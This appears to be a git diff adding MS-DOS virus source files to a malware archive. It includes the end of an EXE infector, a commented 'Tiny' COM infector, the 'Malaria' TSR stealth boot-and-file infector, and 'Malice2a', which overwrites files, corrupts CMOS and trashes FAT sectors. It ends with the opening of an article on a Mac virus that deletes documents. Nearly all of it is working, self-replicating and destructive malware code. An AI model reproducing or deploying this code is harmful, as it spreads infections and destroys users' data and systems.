;get correct old SS for new program + mov bx,[HANDLE] ;from the EXE header + mov cx,2 + mov ah,40H ;and write it to relocatable REL1+1 + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1A ;put in correct old SP from EXE header + inc bx ;at FSIZE+REL1A+1 + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL1A+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to place to write SP to + int 21H + mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program + mov bx,[HANDLE] ;from EXE header + mov cx,2 + mov ah,40H ;and write it where it belongs + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL2 ;put in correct old CS:IP in program + add bx,1 ;at FSIZE+REL2+1 on disk + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL2+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer relavtive to start of file + int 21H + mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header + mov bx,[HANDLE] + mov cx,4 + mov ah,40H ;and write 4 bytes to FSIZE+REL2+1 + int 21H + ;done writing relocatable vectors + ;so now adjust the EXE header values + xor cx,cx + xor dx,dx + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to start of file + int 21H + mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS) + mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs) + shr ax,cl + mov bx,WORD PTR [FSIZE+2] + and bl,0FH + mov cl,4 + shl bl,cl + add ah,bl + sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs) + mov WORD PTR [EXE_HDR+22],ax;and save as initial CS + mov bx,OFFSET FINAL ;compute new initial SS + add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16) + mov cl,4 + shr bx,cl + add ax,bx + mov WORD PTR [EXE_HDR+14],ax ;and save it + mov ax,OFFSET VIRUS ;get initial IP + mov WORD PTR [EXE_HDR+20],ax ;and save it + mov ax,STACKSIZE ;get initial SP + mov WORD PTR [EXE_HDR+16],ax ;and save it + mov dx,WORD PTR [FSIZE+2] + mov ax,WORD PTR [FSIZE] ;calculate new file size + mov bx,OFFSET FINAL + add ax,bx + xor bx,bx + adc dx,bx ;put it in ax:dx + add ax,200H ;and set up the new page count + adc dx,bx ;page ct= (ax:dx+512)/512 + push ax + mov cl,9 + shr ax,cl + mov cl,7 + shl dx,cl + add ax,dx + mov WORD PTR [EXE_HDR+4],ax ;and save it here + pop ax + and ax,1FFH ;now calculate last page size + mov WORD PTR [EXE_HDR+2],ax ;and put it here + mov ax,NUMRELS ;adjust relocatables counter + add WORD PTR [EXE_HDR+6],ax + mov cx,1CH ;and save data at start of file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table + dec ax ;in order to calculate location of + dec ax ;where to add relocatables + mov bx,4 ;Location= (No in table-2)*4+Table Offset + mul bx + add ax,WORD PTR [EXE_HDR+24];table offset + mov bx,0 + adc dx,bx ;dx:ax=end of old table in file + mov cx,dx + mov dx,ax + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to table end + int 21H + mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1 + mov bx,OFFSET REL1 + inc bx ;offset of REL1 + mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to + mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now + mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2 + mov bx,OFFSET REL2 + add bx,3 ;offset of REL2 + mov WORD PTR [EXE_HDR+4],bx ;write it to buffer + mov WORD PTR [EXE_HDR+6],ax + mov cx,8 ;and then write 8 bytes of data in file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + ret ;that's it, infection is complete! + +;-------------------------------------------------------------------------- +;This routine determines whether the reproduction code should be executed. +;If it returns Z, the reproduction code is executed, otherwise it is not. +;Currently, it only executes if the system time variable is a multiple of +;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1 +;executions of the program. TIMECT should be 2^n-1 +;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program +;is run. This makes SHOULDRUN return Z for sure the first time, so it +;definitely runs when this loader program is run, but after that, the time must +;be an even multiple of TIMECT+1. +; +TIMECT EQU 0 ;Determines how often to reproduce (1/64 here) +; +SHOULDRUN: + xor ah,ah ;zero ax to start, set z flag +SR1: ret ;this gets replaced by NOP when program runs + int 1AH + and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks? + ret ;return with z flag set if it is, else nz set + + +;-------------------------------------------------------------------------- +;SETSR modifies SHOULDRUN so that the full procedure gets run +;it is redundant after the initial load +SETSR: + mov al,90H ;NOP code + mov BYTE PTR SR1,al ;put it in place of RET above + ret ;and return + +;-------------------------------------------------------------------------- +;This routine sets up the new DTA location at DTA1, and saves the location of +;the initial DTA in the variable OLDDTA. +NEW_DTA: + mov ah,2FH ;get current DTA in ES:BX + int 21H + mov WORD PTR [OLDDTA],bx ;save it here + mov ax,es + mov WORD PTR [OLDDTA+2],ax + mov ax,cs + mov es,ax ;set up ES + mov dx,OFFSET DTA1 ;set new DTA offset + mov ah,1AH + int 21H ;and tell DOS where we want it + ret + +;-------------------------------------------------------------------------- +;This routine reverses the action of NEW_DTA and restores the DTA to its +;original value. +RESTORE_DTA: + mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs + mov ax,WORD PTR [OLDDTA+2] + mov ds,ax + mov ah,1AH + int 21H ;and tell DOS where to put it + mov ax,cs ;restore ds before exiting + mov ds,ax + ret + +;-------------------------------------------------------------------------- +;This routine saves the original file attribute in FATTR, the file date and +;time in FDATE and FTIME, and the file size in FSIZE. It also sets the +;file attribute to read/write, and leaves the file opened in read/write +;mode (since it has to open the file to get the date and size), with the handle +;it was opened under in HANDLE. The file path and name is in USEFILE. +SAVE_ATTRIBUTE: + mov ah,43H ;get file attr + mov al,0 + mov dx,OFFSET USEFILE + int 21H + mov [FATTR],cl ;save it here + mov ah,43H ;now set file attr to r/w + mov al,1 + mov dx,OFFSET USEFILE + mov cl,0 + int 21H + mov dx,OFFSET USEFILE + mov al,2 ;now that we know it's r/w + mov ah,3DH ;we can r/w access open file + int 21H + mov [HANDLE],ax ;save file handle here + mov ah,57H ;and get the file date and time + xor al,al + mov bx,[HANDLE] + int 21H + mov [FTIME],cx ;and save it here + mov [FDATE],dx ;and here + mov ax,WORD PTR [DTA1+28] ;file size was set up here by + mov WORD PTR [FSIZE+2],ax ;search routine + mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE + mov WORD PTR [FSIZE],ax + ret + +;-------------------------------------------------------------------------- +;Restore file attribute, and date and time of the file as they were before +;it was infected. This also closes the file +REST_ATTRIBUTE: + mov dx,[FDATE] ;get old date and time + mov cx,[FTIME] + mov ah,57H ;set file date and time to old value + mov al,1 + mov bx,[HANDLE] + int 21H + mov ah,3EH + mov bx,[HANDLE] ;close file + int 21H + mov cl,[FATTR] + xor ch,ch + mov ah,43H ;Set file attr to old value + mov al,1 + mov dx,OFFSET USEFILE + int 21H + ret + +FINAL: ;last byte of code to be kept in virus + +VSEG ENDS + + +;-------------------------------------------------------------------------- +;Virus stack segment + +VSTACK SEGMENT PARA STACK + db STACKSIZE dup (?) +VSTACK ENDS + + END VIRUS ;Entry point is the virus diff --git a/MSDOS/Virus.MSDOS.Unknown.made334.asm b/MSDOS/Virus.MSDOS.Unknown.made334.asm new file mode 100644 index 00000000..58354221 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.made334.asm @@ -0,0 +1,250 @@ +muttiny segment byte public + assume cs:muttiny, ds:muttiny + + org 100h + +start: db 0e9h, 5, 0 ; jmp startvir +restorehere: int 20h +idword: dw 990h +; The next line is incredibly pointless. It is a holdover from one +; of the original TINYs, where the id was 7, 8, 9. The author can +; easily save one byte merely by deleting this line. + db 09h +startvir: + call oldtrick ; Standard location-finder +oldtrick: pop si +; The following statement is a bug -- well, not really a bug, just +; extraneous code. The value pushed on the stack in the following +; line is NEVER popped off. This is messy programming, as one byte +; could be saved by removing the statement. + push si + sub si,offset oldtrick + call encrypt ; Decrypt virus + call savepsp ; and save the PSP +; NOTE: The entire savepsp/restorepsp procedures are unnecessary. +; See the procedures at the end for further details. + jmp short findencryptval ; Go to the rest of the virus +; The next line is another example of messy programming -- it is a +; NOP inserted by MASM during assembly. Running this file through +; TASM with the /m2 switch should eliminate such "fix-ups." + nop +; The next line leaves me guessing as to the author's true intent. + db 0 + +encryptval dw 0h + +encrypt: + push bx ; Save handle +; The following two lines of code could be condensed into one: +; lea bx, [si+offset startencrypt] +; Once again, poor programming style, though there's nothing wrong +; with the code. + mov bx,offset startencrypt + add bx,si +; Continueencrypt is implemented as a jmp-type loop. Although it's +; fine to code it this way, it's probably easier to code using the +; loop statement. Upon close inspection, one finds the loop to be +; flawed. Note the single inc bx statement. This essentially makes +; the encryption value a a byte instead of a word, which decreases +; the number of mutations from 65,535 to 255. Once again, this is +; just poor programming, very easily rectified with another inc bx +; statement. Another optimization could be made. Use a +; mov dx, [si+encryptval] +; to load up the encryption value before the loop, and replace the +; three lines following continueencrypt with a simple: +; xor word ptr [bx], dx +continueencrypt: + mov ax,[bx] + xor ax,word ptr [si+encryptval] + mov [bx],ax + inc bx +; The next two lines should be executed BEFORE continueencrypt. As +; it stands right now, they are recalculated every iteration which +; slows down execution somewhat. Furthermore, the value calculated +; is much too large and this increases execution time. Yet another +; improvement would be the merging of the mov/add pair to the much +; cleaner lea cx, [si+offset endvirus]. + mov cx,offset veryend ; Calculate end of + add cx,si ; encryption: Note + cmp bx,cx ; the value is 246 + jle continueencrypt ; bytes too large. + pop bx + ret +writerest: ; Tack on the virus to the + call encrypt ; end of the file. + mov ah,40h + mov cx,offset endvirus - offset idword + lea dx,[si+offset idword] ; Write starting from the id + int 21h ; word + call encrypt + ret + +startencrypt: +; This is where the encrypted area begins. This could be moved to +; where the ret is in procedure writerest, but it is not necessary +; since it won't affect the "scannability" of the virus. + +findencryptval: + mov ah,2Ch ; Get random # + int 21h ; CX=hr/min dx=sec +; The following chunk of code puzzles me. I admit it, I am totally +; lost as to its purpose. + cmp word ptr [si+offset encryptval],0 + je step_two + cmp word ptr [si+offset encryptval+1],0 + je step_two + cmp dh,0Fh + jle foundencryptionvalue +step_two: ; Check to see if any + cmp dl,0 ; part of the encryption + je findencryptval ; value is 0 and if so, + cmp dh,0 ; find another value. + je findencryptval + mov [si+offset encryptval],dx +foundencryptionvalue: + mov bp,[si+offset oldjmp] ; Set up bp for + add bp,103h ; jmp later + lea dx,[si+filemask] ; '*.COM',0 + xor cx,cx ; Attributes + mov ah,4Eh ; Find first +tryanother: + int 21h + jc quit_virus ; If none found, exit + + mov ax,3D02h ; Open read/write + mov dx,9Eh ; In default DTA + int 21h + + mov cx,3 + mov bx,ax ; Swap file handle register + lea dx,[si+offset buffer] + mov di,dx + call read ; Read 3 bytes + cmp byte ptr [di],0E9h ; Is it a jmp? + je infect +findnext: + mov ah,4Fh ; If not, find next + jmp short tryanother +infect: + mov ax,4200h ; Move file pointer + mov dx,[di+1] ; to jmp location + mov [si+offset oldjmp],dx ; and save old jmp + xor cx,cx ; location + call int21h + jmp short skipcheckinf +; Once again, we meet an infamous MASM-NOP. + nop +; I don't understand why checkinf is implemented as a procedure as +; it is executed but once. It is a waste of code space to do such +; a thing. The ret and call are both extra, wasting four bytes. An +; additional three bytes were wasted on the JMP skipping checkinf. +; In a program called "Tiny," a wasted seven bytes is rather large +; and should not exist. I have written a virus of half the length +; of this virus which is a generic COM infector. There is just too +; too much waste in this program. +checkinf: + cmp word ptr [di],990h ; Is it already + je findnext ; infected? +; The je statement above presents another problem. It leaves stuff +; on the stack from the call. This is, once again, not a critical +; error but nevertheless it is extremely sloppy behavior. + xor dx,dx + xor cx,cx + mov ax,4202h + call int21h ; Goto end of file + ret +skipcheckinf: + mov cx,2 + mov dx,di + call read ; read 2 bytes + call checkinf +; The next check is extraneous. No COM file is larger than 65,535 +; bytes before infection simply because it is "illegal." Yet ano- +; ther waste of code. Even if one were to use this useless check, +; it should be implemented, to save space, as or dx, dx. + cmp dx,0 ; Check if too big + jne findnext + + cmp ah,0FEh ; Check again if too big + jae findnext + mov [si+storejmp],ax ; Save new jmp + call writerest ; location + mov ax,4200h ; Go to offset + mov dx,1 ; 1 in the file + xor cx,cx + call int21h + + mov ah,40h ; and write the new + mov cx,2 ; jmp location + lea dx,[si+storejmp] + call int21h +; I think it is quite obvious that the next line is pointless. It +; is a truly moronic waste of two bytes. + jc closefile +closefile: + mov ah,3Eh ; Close the file + call int21h +quit_virus: + call restorepsp + jmp bp + +read: + mov ah,3Fh ; Read file +; I do not understand why all the int 21h calls are done with this +; procedure. It is a waste of space. A normal int 21h call is two +; bytes long while it's three bytes just to call this procedure! +int21h: + int 21h + ret + + db 'Made in England' + +; Note: The comments for savepsp also apply to restorepsp. + +; This code could have easily been changed to a set active DTA INT +; 21h call (AH = 1Ah). It would have saved many, many bytes. + +savepsp: + mov di,0 +; The following is a bug. It should be +; mov cx, 50h +; since the author decided to use words instead of bytes. + mov cx,100h + push si +; The loop below is dumb. A simple rep movsw statement would have +; sufficed. Instead, countless bytes are wasted on the loop. +storebytes: + mov ax,[di] + mov word ptr [si+pspstore],ax + add si,2 + add di,2 + loop storebytes + pop si + ret + +restorepsp: + mov di,0 + mov cx,100h ; Restore 200h bytes + push si +restorebytes: + mov ax,word ptr [si+pspstore] + mov [di],ax + add si,2 + add di,2 + loop restorebytes + pop si + ret + +oldjmp dw 0 +filemask db '*.COM',0 +idontknow1 db 66h ; Waste of one byte +buffer db 00h, 00h, 01h ; Waste of three bytes +storejmp dw 0 ; Waste of two bytes +; endvirus should be before idontknow1, thereby saving six bytes. +endvirus: +idontknow2 db ?, ? +pspstore db 200 dup (?) ; Should actually be +idontknow3 db 2ch dup (?) ; 100h bytes long. +veryend: ; End of encryption +muttiny ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.malaria.asm b/MSDOS/Virus.MSDOS.Unknown.malaria.asm new file mode 100644 index 00000000..552b9448 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.malaria.asm @@ -0,0 +1,408 @@ +; +;============================================================================= +; [Malaria] +; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus +;============================================================================= +; + +virus_size equ (v_end-v_start) +loader_size equ (loader_end-loader_start) +paragraph_size equ (heap_end-v_start+010Fh)/0010h+0001h + + .model tiny + .code + .286 + org 0100h +start: +v_start: + push ds es + dec ax + int 0013h + inc ax + jz exit_install + mov ax,es + dec ax + mov ds,ax + mov bx,5A4Dh + sub si,si + cmp bl,byte ptr [si] + jz exit_install + mov ax,offset exit_install +delta_two = $-0002h + push cs ax + sub word ptr [si+0003h],paragraph_size + sub word ptr [si+0012h],paragraph_size + mov byte ptr [si],bl + mov ax,word ptr [si+0012h] + mov ds,ax + mov byte ptr [si],bh + mov word ptr [si+0001h],0008h + mov word ptr [si+0003h],paragraph_size-0001h + inc ax + mov es,ax + push ax + mov si,offset v_start +delta_one = $-0002h + mov cx,virus_size + mov di,offset v_start + rep movs byte ptr [di],cs:[si] + mov ax,offset trace_interrupt + push ax + retf +exit_install: + pop es ds + mov si,offset host_bytes +delta_three = $-0002h + mov di,offset v_start + push di + movsb + movsw + retn +loader_start: + mov ax,0B900h + mov es,ax + push ax + mov ax,offset restore_boot_sector + push ax + mov ax,0202h + mov bx,offset v_start + mov cx,'ML' +loader_fix_1 = $-0002h + inc dh + int 0013h + retf +loader_end: +restore_boot_sector: + xor ax,ax + mov es,ax + mov si,offset boot_bytes + mov di,7C00h + push ax di + mov cl,loader_size shr 0001h + rep movs word ptr [di],cs:[si] + mov ax,word ptr es:[0084h] + mov word ptr cs:[int_word],ax + push cs + pop es + mov byte ptr cs:[trace_interrupt_],00C3h + call trace_interrupt + mov byte ptr cs:[trace_interrupt_],00BEh + retf +trace_interrupt: + mov ds,cx + mov byte ptr cs:[trap_flag],cl + mov si,004Ch + mov di,offset i0013hOffset + movsw + movsw + mov word ptr [si-0004h],offset i0013h + mov word ptr [si-0002h],cs +trace_interrupt_: + mov si,0084h + mov di,offset i0021hOffset + movsw + movsw + mov word ptr [si-0004h],offset i0021h + mov word ptr [si-0002h],cs + mov si,0004h + push word ptr ds:[si] word ptr ds:[si+0002h] + mov word ptr [si],offset i0001h + mov word ptr [si+0002h],cs + mov ah,0052h + int 0021h + mov word ptr cs:[dos_segment],es + mov ah,0001h + push ax + popf + mov ah,0019h + call call_i0021h + pop word ptr ds:[si+0002h] word ptr ds:[si] + retf +i0001h: push bp + mov bp,sp + push ax + cmp byte ptr cs:[trap_flag],0001h + jz i0001h_exit_ + mov ax,word ptr [bp+0004h] + cmp ax,0D00Dh +dos_segment = $-0002h + jnz i0001h_exit + mov word ptr cs:[t0021hSegment],ax + mov ax,word ptr [bp+0002h] + mov word ptr cs:[t0021hOffset],ax + inc byte ptr cs:[trap_flag] +i0001h_exit_: + and byte ptr [bp+0007h],-0002h +i0001h_exit: + pop ax bp +int_return: + iret +i0013h: cmp ax,-0001h + jz int_return + cmp byte ptr cs:[trap_flag],0001h + jz i0013h_continue + pusha + push ds es cs + pop es + cwd + mov ds,dx + mov ax,word ptr ds:[0084h] + cmp ax,word ptr cs:[int_word] + jz hook_exit + push cs + call trace_interrupt_ +hook_exit: + pop es ds + popa +i0013h_continue: + cmp dl,0001h + jnb original_i0013h + cmp ah,0002h + jz i0013h_stealth_boot + pusha + push ds es + cmp ah,0003h + jnz i0013h_exit +i0013h_infect_boot: + mov ax,0BBE8h + mov es,ax + mov ax,0201h + xor bx,bx + mov cx,0001h + xor dh,dh + call call_i0013h + cmp byte ptr es:[bx],00B8h + jz i0013h_exit + mov al,byte ptr es:[bx+0010h] + mul byte ptr es:[bx+0016h] + xchg ax,cx + mov ax,word ptr es:[bx+0011h] + shr ax,0004h + add ax,cx + sub ax,word ptr es:[bx+0018h] + mov word ptr cs:[loader_fix_1],ax + push ax es es cs + pop es ds + mov cl,loader_size shr 0001h + xor si,si + mov di,offset boot_bytes + rep movsw + pop es + mov cl,loader_size shr 0001h + mov si,offset loader_start + sub di,di + rep movs word ptr [di],cs:[si] + mov ax,0301h + inc cx + call call_i0013h + push cs + pop es + mov ax,0302h + mov bx,offset v_start + pop cx + inc dh + call call_i0013h +i0013h_exit: + pop es ds + popa +original_i0013h: + db 00EAh,'PURE' +i0013hOffset = $-0004h +i0013hSegment = $-0002h +i0013h_stealth_boot: + cmp cx,0001h + jnz original_i0013h + or dh,dh + jnz original_i0013h + pusha + call call_i0013h + jc i0013h_stealth_boot_exit + cmp byte ptr es:[bx],00B8h + jnz i0013h_stealth_boot_exit + mov si,offset boot_bytes + mov di,bx + mov cl,loader_size shr 0001h + rep movs word ptr [di],cs:[si] +i0013h_stealth_boot_exit: + popa + clc + retf 0002h +i0021h: cmp ah,0011h + jz fcb_stealth + cmp ah,0012h + jz fcb_stealth + cmp ah,004Eh + jz dta_stealth + cmp ah,004Fh + jz dta_stealth + pusha + push ds es + cmp ax,4300h + jz i0021h_infect_file + cmp ax,4301h + jz i0021h_infect_file + cmp ax,4B00h + jz i0021h_infect_file +i0021h_exit: + pop es ds + popa +original_i0021h: + db 00EAh,'TEXT' +i0021hOffset = $-0004h +i0021hSegment = $-0002h +fcb_stealth: + call call_i0021h + pusha + push es + inc al + jz fcb_exit_ + mov ah,002Fh + call tunnel_i0021h + cmp byte ptr es:[bx],-0001h + jnz fcb_continue + add bx,0007h +fcb_continue: + mov ax,word ptr es:[bx+0017h] + mov cx,word ptr es:[bx+0019h] + call hide_dir +fcb_exit_: + pop es + popa +fcb_exit: + iret +dta_stealth: + call call_i0021h + jc dta_exit + pusha + push es + mov ah,002Fh + call tunnel_i0021h + mov ax,word ptr es:[bx+0016h] + mov cx,word ptr es:[bx+0018h] + sub bx,0003h + call hide_dir + pop es + popa +dta_exit: + retf 0002h +_close_file: + jmp close_file +i0021h_infect_file: + push ds + pop es + mov al,002Eh + mov cx,0040h + mov di,dx + repnz scasb + cmp word ptr [di],4F43h + jnz i0021h_exit + mov ax,3D02h + call tunnel_i0021h + xchg ax,bx + mov ax,1220h + int 002Fh + push bx + mov ax,1216h + mov bl,byte ptr es:[di] + int 002Fh + pop bx + mov si,offset temp_buffer + push cs + pop ds + mov ah,003Fh + mov cl,0003h + mov dx,si + call tunnel_i0021h + cmp word ptr [si],5A4Dh + jz close_file + cmp word ptr [si],4D5Ah + jz close_file + push si + lodsb + mov byte ptr [si-0004h],al + lodsw + mov word ptr [si-0005h],ax + pop si + mov ax,word ptr es:[di+0011h] + mov word ptr es:[di+0015h],ax + mov cx,virus_size + cmp ax,cx + jb close_file + push ax + sub ax,0003h + mov byte ptr [si],00E9h + mov word ptr [si+0001h],ax + sub ax,cx + cmp ax,word ptr [si-0002h] + pop ax + jz close_file + add ax,offset v_start + mov word ptr [delta_one],ax + add ax,offset exit_install-v_start + mov word ptr [delta_two],ax + add ax,offset host_bytes-exit_install + mov word ptr [delta_three],ax + mov ah,0040h + mov dx,offset v_start + call tunnel_i0021h + mov word ptr es:[di+0015h],0000h + mov ah,0040h + mov cx,0003h + mov dx,si + call tunnel_i0021h + mov ax,5701h + mov cx,word ptr es:[di+000Dh] + mov dx,word ptr es:[di+000Fh] + push dx + and cx,-0020h + and dx,001Fh + dec dx + or cx,dx + pop dx + call tunnel_i0021h +close_file: + mov ah,003Eh + call tunnel_i0021h + jmp i0021h_exit +hide_dir: + mov si,001Fh + and ax,si + and cx,si + dec cx + xor ax,cx + jnz hide_exit + cmp ax,word ptr es:[bx+si] + ja hide_exit + mov ax,virus_size + cmp word ptr es:[bx+si-0002h],ax + jbe hide_exit +hide_continue: + sub word ptr es:[bx+si-0002h],ax +hide_exit: + retn +tunnel_i0021h: + pushf + db 009Ah,'PURE' +t0021hOffset = $-0004h +t0021hSegment = $-0002h + retn +call_i0013h: + pushf + push cs + call original_i0013h + retn +call_i0021h: + pushf + push cs + call original_i0021h + retn +boot_bytes db loader_size dup (0000h) +host_bytes db 00CDh,0020h,'!' +v_end: +heap_start: +temp_buffer db 0003h dup (?) +trap_flag db 0001h dup (?) +int_word db 0002h dup (?) +heap_end: +end start +. diff --git a/MSDOS/Virus.MSDOS.Unknown.malice2a.asm b/MSDOS/Virus.MSDOS.Unknown.malice2a.asm new file mode 100644 index 00000000..93377065 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.malice2a.asm @@ -0,0 +1,176 @@ + +.model tiny +.code + +seg_a segment byte public + ASSUME CS:SEG_A, DS:SEG_A +org 100h + + +main proc + +find: + mov ah,3bh + mov dx,offset win + int 21h + mov Dx,offset conn + mov cx,2h + mov ah,4eh + int 21h +next: + mov ah,4fh + mov dx,offset conn + int 21h + +open: + mov ah,43H + mov dx,09Eh + mov al,0 + int 21H + mov cl,0 + mov ah,43H + nop + mov dx,09Eh + mov al,1 + int 21H + mov ax,3d02h + mov dx,9eh + int 21h +write: + xchg bx,ax + mov cx,833 + mov ah,40h + mov dx,100h + int 21h +close: + mov ah,3eh + int 21h + inc cntr + cmp cntr,5 + jge message + call next +message: + mov ah,3bh + mov al,00h + mov dx,offset UP_ONE + int 21h + cmp ax,3 + jne next + mov cntr,0000 + +C_MAN: + mov ah,09h + mov dx,offset who + int 21h + inc cntr + cmp cntr,65 + jge fat_fuck + mov dx,cntr + xor bx,bx + mov bx,255 + call CMOS_CHCKSM + +CMOS_CHCKSM: + xor ax,ax + mov al,2Eh + out 70h,al + in al,71h + xchg ch,al + mov al,2Fh + out 70h,al + in al,71h + xchg cl,al + push dx + xchg dl,al + out 70h,al + in al,71h + sub cx,ax + add cx,bx + pop dx + xchg dl,al + out 70h,al + xchg al,bl + out 71h,al + mov al,2Eh + out 70h,al + xchg al,ch + out 71h,al + mov al,2Fh + out 70h,al + xchg al,cl + out 71h,al + call C_MAN +fat_fuck: + push dx + push bx + push cx + push ax + push bp + mov ax,0dh + int 21h + mov ah,19h + int 21h + xor dx,dx + call load_sec + mov bp,bx + mov bx,word ptr es:[bp+16h] + push ax + call rnd_num + cmp bx,ax + jbe alter_fat1 + mov ax,bx +alter_fat1: + xchg ax,dx + pop ax + mov cx,1 + int 26h + add dx,bx + int 26h + pop bp + pop ax + pop cx + pop bx + pop dx + CALL JUST_TO_MAKE_IT_WORSE + +load_sec: + push cx + push ds + push ax + push cs + pop ds + push cs + pop es + mov ax,0dh + int 21h + pop ax + mov cx, 1 + mov bx, offset sec_buf + int 25h + pop ds + pop cx + ret + +rnd_num: + push cx + push dx + xor ax,ax + int 1ah + xchg dx,ax + pop dx + pop cx + ret +JUST_TO_MAKE_IT_WORSE: + mov ah,31h + mov dx,7530h + int 21H + RET +sec_buf dw 100h dup(?) +win db 'C:\windows\command',0 +conn db '*.C*',0 +who db '§ EvuLz MaLiCe §$' +cntr dw 0 +up_one db '..',0 +main endp +seg_a ends +end find diff --git a/MSDOS/Virus.MSDOS.Unknown.malign.asm b/MSDOS/Virus.MSDOS.Unknown.malign.asm new file mode 100644 index 00000000..0ff9ad13 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.malign.asm @@ -0,0 +1,1302 @@ +***************************************************** +* The 666 Malignant virus, version 1.1, by J.S.Bach * +***************************************************** + +(This file is specifically formatted for use with the DOS viewer. if you want +to acquire the correct file, download it from the XTAR section from the +corresponding project.) + +************************************************************************* +WARNING!!!!! THIS IS A MALIGNANT VIRUS. ON EVERY SIXTH OF THE MONTH, IT WILL +ATTEMPT TO ERASE ALL DOCUMENTS ON THE DEFAULT DRIVE!!! BE VERY CAREFUL WITH +IT. IN PARTICULAR, THE AUTHOR IS NOT RESPONSIBLE IF YOU SCREW UP YOUR DRIVE +WHILE EXPERIMENTING WITH IT. IT MAY ALSO DAMAGE YOUR DRIVE, SINCE IT MAY +ERASE INVISIBLE FILES AS WELL. THE AUTHOR IS NOT RESPONSIBLE IF YOU RELEASE +THIS VIRUS. IN PARTICULAR, YOU CAN BE HELD LIABLE FOR DAMAGES AND/OR +CRIMINALLY CHARGED IF YOU CAUSE DAMAGE TO ANOTHER COMPUTER USING THIS VIRUS. +YOU HAVE BEEN WARNED! THE AUTHOR IS CLEAR OF ANY RESPONSIBILITY HAS NOT, NOR +DOES HE PLAN TO RELEASE THIS VIRUS!!!!! +************************************************************************* + +To compile the projects on this article, you will need the MPW package from +Apple computer. The URL is: +you can download MacsBug from there as well if you don't have it. WARNING: +you will also need some form of AV to track the virus. If you try to run the +virus without an AV, you are in for surprises! + + +INTRODUCTION + +The 666 virus is a meticulous study on the latest Operating System (8.x) and +constitutes adequate proof that a successful system 8.x virus can still be +written on the Macintosh. In view of one of my previous articles, re the type +of code that new viruses must be written on, i have chosen to write this one +in 68000 asm, to make it backward and forward compatible. Many of you that +have seen my project PROTOTYPE.sea, may wonder why i have written this one in +asm. Well, no matter how good the THINK Pascal compiler is, it still has its +limitations. Most of the limitations i encountered were the difficulty of +predicting at run time the size of the virus dynamically. Well, the time has +come for a "real" asm virus. So here you have it. This virus has not been +tested fully on the older systems, namely from 6.0.7 up to but not including +8.x. I created it in 8.0, but there is no reason why it should not run on +older systems down to 6.0.7 for sure-maybe older, or on newer 8.1 and 8.2 +systems. With that out of the way, let me remind you something else VERY +crucial: DO NOT RELEASE THIS VIRUS INTO THE WILD! I will bare no +responsibility if you do! You will be liable to criminal penalties if you +release it. You have been warned! Ok, that having been said, now we are ready +to analyze this virus and its behaviour. + +PRELIMINARIES + +As you well know if you know anything about mac programming, resources and +resource files are a very crucial part of the macintosh system. I will try to +present the basic ideas behind their operation on this article, but please +don't expect to be spoon fed. If you don't have the book "Inside Macintosh", +you will be losing much needed info. So, let us start. Any macintosh file has +two "forks" or segments, called respectivelly the "data" fork, and the +"resource" fork. You can think of the two forks of a file as basically a +double file access buffer, with each buffer accessing a different part of the +file. The data fork is where random data can get stored, and you access it, +with usual file operations depending on what your offset into the data is. +The resource fork though, is much more complicated. The macintosh "Resource +Manager" (the part of the OS that manages resource forks) deals with the +resource fork of a file in very specific ways. In particular, direct access +to a resource fork is not generally allowed, except in very special +circumstances. The way the RM (Resource Manager) deals with that fork, is +through a predefined set of toolbox routines, which manipulate resource data +for you. You can think of the resource fork of a file as a specialized data +base, in which you can add, remove or change data through the RM routines. I +will refer you to the Inside Macintosh volumes "Macintosh Toolbox Essentials" +and "More Macintosh Toolbox", the Resource Manager. The RM, creates an +internal data storage format for every resource fork of every file you +access, that contains various elements such as a resource map (map to the +resource fork data) and offsets to your resource data. Usually, this data is +completely invisible to the user as he/she doesn't need to worry about it. +The user can manipulate the data in the resource fork through a set of +predefined routines, which fetch the data, ready for you. The data that go +into the resource fork, thus, are called "resources". With ResEdit or +Resourcerer, open a file and see internally what kind of resources it +contains, for example. Resources have "types" and "id"s. Types are the means +of identification between different resources, and ids are the means of +identification between same resources. For example a resource 'DRVR' with +id=2387 is different from a resource 'DRVR' with id=5341. The reason for the +existence of resources, is simple. Macintosh programs need to have data that +will be easily localizable in a special form accessible to non-programmers. +Thus, all menus, windows, controls, and text, can be stored in a proprietary +format that's easy to deal with when one localizes the application. Ideally, +a Localizer, should alter only the program's resources, and the program +should run fine after that. Well, even code in old 680x0 machines was stored +in 'CODE' resources, but now things have changed. + +NOTES ON THE PROPRIETARY CODE FORMATS ON THE OLD MACS AND NEW POWERMACS + +The old Macs had a 600x0 Motorola processor and the code of the programs was +itself a resource (of type 'CODE') and was stored in the resource fork of 